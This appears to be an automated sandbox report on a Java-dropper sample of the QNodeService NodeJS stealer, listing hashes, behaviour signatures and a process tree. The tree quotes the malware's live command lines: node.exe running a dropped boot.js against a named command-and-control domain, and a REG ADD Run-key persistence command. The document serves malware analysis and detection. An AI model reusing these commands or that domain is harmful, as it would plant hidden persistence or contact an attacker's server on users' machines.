Analysis

  • max time kernel
    82s
  • max time network
    137s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    19-10-2020 06:39

General

  • Target

    img-80601554-0001.jar

  • Size

    154KB

  • MD5

    8c46a5b0782f2ff14c5ae8809c22cf72

  • SHA1

    95c94f95bc4c781753e485bd1c3e7752dea31d29

  • SHA256

    5967214ebf890ee380c69edde97b73da47bf31c5809439287087aeca7b35620f

  • SHA512

    1e0380ca25ac046dc4c001e498fa92a1966cbb0f39d422ccc8b0bec9d2fe01a05ed05be93cc411b82064a66bf3d0567a91964b74308fda43a1de86f152edf932

Malware Config

Signatures

  • QNodeService

    Trojan/stealer written in NodeJS and spread via Java downloader.

  • Executes dropped EXE 3 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • JavaScript code in executable 3 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 18 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\ProgramData\Oracle\Java\javapath\java.exe
    java -jar C:\Users\Admin\AppData\Local\Temp\img-80601554-0001.jar
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2896
    • C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
      "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\cfd424dc.tmp
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2536
      • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain karimrnosa2.home-webserver.de
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1400
        • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
          C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_zM06rn\boot.js --hub-domain karimrnosa2.home-webserver.de
          4⤵
          • Executes dropped EXE
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2532
          • C:\Users\Admin\node-v14.12.0-win-x64\node.exe
            C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_zM06rn\boot.js --hub-domain karimrnosa2.home-webserver.de
            5⤵
            • Executes dropped EXE
            • Checks processor information in registry
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of WriteProcessMemory
            PID:3572
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "f92d43c0-8ab2-46f6-bf48-deae868aa8ef" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
              6⤵
              • Suspicious use of WriteProcessMemory
              PID:952
              • C:\Windows\system32\reg.exe
                REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "f92d43c0-8ab2-46f6-bf48-deae868aa8ef" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
                7⤵
                • Adds Run key to start application
                PID:3644

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

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Downloads

  • memory/1400-168-0x000003AB8B100000-0x000003AB8B101000-memory.dmp

    Filesize

    4KB

  • memory/2532-171-0x000002C81FA00000-0x000002C81FA01000-memory.dmp

    Filesize

    4KB

  • memory/3572-175-0x000000F500D40000-0x000000F500D41000-memory.dmp

    Filesize

    4KB